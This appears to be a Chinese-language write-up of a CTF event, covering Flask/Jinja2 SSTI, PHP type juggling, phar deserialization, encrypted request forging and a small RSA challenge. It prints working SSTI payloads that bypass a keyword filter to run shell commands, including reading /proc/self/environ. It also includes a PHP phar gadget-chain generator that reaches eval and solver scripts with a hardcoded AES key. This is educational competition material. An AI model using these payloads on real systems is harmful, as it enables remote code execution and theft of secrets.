CN-fnst::CTF web 1ez_python 盲猜是文件包含file题目是python,读取源码;看到shell路由有个ssti
再看看waf
/?file=/app/waf.py
1 2 3 4 5 6 def waf_check(value): dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__'] for pattern in dangerous_patterns: if pattern in value: return False return True
1 http://ctf.yoomitech.com:32997/shell?name={%print((()|attr('_''_class_''_')|attr('_''_mro_''_')|attr('_''_getitem_''_')(1)|attr('_''_subclasses_''_')()|attr('_''_getitem_''_')(132)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('po''pen')('cat /proc/self/environ')|attr('re''ad')()))%}
法二.官方- 感觉太绕了,噢,悟了,焚情一把梭,去掉注释符
1 {%print g['pop'][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('globals')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('builtins')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('import')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)]('so'[::-1])['p''open']('ls')['read']()%}
解释
法三 这位师傅的可以,容易理解👇
LamentXU
1 {%25%20print(''[request['args']['a']][request['args']['b']][request['args']['c']]()[132][request['args']['d']][request['args']['f']][request['args']['e']]('whoami')['read']())%20%25}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=popen&f=__globals__
2cnctf-ezphp:latest md5
3ezphp 跟上边的一样
4i_am_eeeeeshili 在修改密码的页面可以看到文件包含 ,
直接访问flag会出现
怀疑是ssrf,直接构造,但是被拦截
md5碰撞脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import hashlib # 目标前 5 个字符 target_prefix = "9331c" # 起始数字(可以从0开始,您也可以调整为其他范围) i = 0 while True: # 将数字转换为字符串 test_string = str(i) # 计算 MD5 哈希值 hash_value = hashlib.md5(test_string.encode()).hexdigest() # 检查哈希值的前五个字符 if hash_value[:5] == target_prefix: print(f"Found string: {test_string}") print(f"MD5 Hash: {hash_value}") break # 增加数字进行下一次尝试 i += 1
然后另寻出路,根据题目名字进行修改密码
base64解码之后出现
1 2 3 4 5 6 7 8 9 10 11 $client_ip = $_SERVER["REMOTE_ADDR"]; $server_ip = $_SERVER["SERVER_ADDR"]; if ($client_ip === $server_ip) { if ($_GET["KAF"] !== "1a" && (int)$_GET["KAF"] == "1a"){ ... } } else { echo 'xxx' echo '<script>alert("坏蛋改不了一点密码!");</script>'; die(); }
(int)$_GET["KAF"]
会将 KAF
的值转换为一个整数。在 PHP 中,字符串 "1a"
转换为整数时会被解析为 1
,因为 a
不是数字,因此会被忽略。
所以
1 check_127.0.0.1/check.php?file=./flag&account=eeeeeshili&password=123&a=1&b=1&c[]=2&d[]=3&e=1916798
访问ffflllaaaggg.php出flag
这个check页面可以出网看IP,但是这题不是这么做的,下边这个不需要看,跟这题没关系↓
5filechecker_revenge 代码已备份,需要联系 代码审计,是通过phar包的php反序列化,并且发现是需要绕过$this->mymd5 === $yourmd5
,通过文件上传phar包,phar包修改文件头为GIF89A并修改后缀为gif上传,再设置cookiemd5me和yourname,然后通过filecheck.php利用php伪协议绕过过滤检查上传的phar包触发php反序列化php://filter/read=convert.base64-encode/resource=phar://
,从而获取到md5(md5(file_get_contents('/flag'))."hacker")
的值
但是我跟着他这wp做不出来,这环境绝对出问题了 代码审计,是通过phar包的php反序列化,并且发现是需要绕过$this->mymd5 === $yourmd5
,通过文件上传phar包,phar包修改文件头为GIF89A并修改后缀为gif上传,再设置cookiemd5me和yourname,然后通过filecheck.php利用php伪协议绕过过滤检查上传的phar包触发php反序列化php://filter/read=convert.base64-encode/resource=phar://
,从而获取到md5(md5(file_get_contents('/flag'))."hacker")
的值
但是我跟着他这wp做不出来,这环境绝对出问题了
得到
04df98ecaa7bb8ef59e07364d9de1647
进行hash长度扩展攻击
三个phar生成代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php class file { public $name; public $data; public $ou; private $mymd5; publicfunction __wakeup() { } publicfunction __call($name, $arguments) { return$this->ou->b='asdasdasd'; } publicfunction __destruct() { if (@file_get_contents($this->data) === $this->mymd5) { $this->name->function(); } } } class data { public $a; public $oi; publicfunction __set($name, $value) { // TODO: Implement __set() method. $this->yyyou(); return"yes"; } publicfunction yyyou() { if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){ eval($this->oi); } } } $file=new file(); @unlink("phar1.phar"); $phar = new Phar("phar1.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($file); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); // 读取根目录下有什么文件 $file2=new file(); $file2->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值 $file2->name = new file(); $file2->name->ou = new data(); $file2->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));'; @unlink("phar2.phar"); $phar = new Phar("phar2.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($file2); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); // 随机读取根目录下的文件 $file3=new file(); $file3->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值 $file3->name = new file(); $file3->name->ou = new data(); $file3->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));'; @unlink("phar3.phar"); $phar = new Phar("phar3.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($file3); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
7math_whiz 是个传进去计算结果,但是抓包的时候数据是加密的
查找函数
试试输出这个函数
根据上边三处去进行动态调用,分析之后进行解密
然后根据这个代码输出
1 2 3 4 // 假设我们有一个加密的字符串 'encryptedString' const encryptedString = 'xxxx'; const decodedBytes = CryptoJS.enc.Utf8.parse(encryptedString); console.log(decodedBytes.toString(CryptoJS.enc.Utf8)); // 'Some text'
KEY
1 ZvVzdGmtflYmpqQdiDxMuR8W267pJXRd
IV
解密成功,然后写脚本去做题
不搓了,直接放官方脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.padding import PKCS7 from cryptography.hazmat.backends import default_backend import base64 import re def aes_encrypt(plain_text: str, key: bytes, iv: bytes): padder = PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(plain_text.encode()) + padder.finalize() cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encryptor = cipher.encryptor() cipher_text = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(cipher_text).decode() flag = True while flag: url = "http://ctf.mardle.cn:35385" r = requests.get(url) html = r.text ex = re.search(r'<div class="subtitle">(.*?)</div>', html, re.M) print(ex.group(1)) expression = ex.group(1).rstrip(' = ?').split(" * ") result = 1 for i in expression: result *= int(i) print(result) response = requests.post(url+'/calculate', data={'data': aes_encrypt(str(result), b'ZvVzdGmtflYmpqQdiDxMuR8W267pJXRd', b'wqZzz1cLe9upkFio')}) if 'flag' in response.text: print(response.text) flag = False print(response.text)
也是ssti
1 2 该题目为flask框架的ssti并且过滤点 输入{{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls /')['read']()}}获取根目录内容,修改其中指令ls为cat flag文件即可获得flag
密码 三千零一夜 1 2 3 4 5 6 7 8 9 10 11 12 import gmpy2 import binascii e = 65537 n = 1455925529734358105461406532259911790807347616464991065301847 c = 69380371057914246192606760686152233225659503366319332065009 p = 1201147059438530786835365194567 q = 1212112637077862917192191913841 phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) m = gmpy2.powmod(c,d,n) print(binascii.unhexlify(hex(m)[2:]))
b’flag{fact0r_sma11_N}’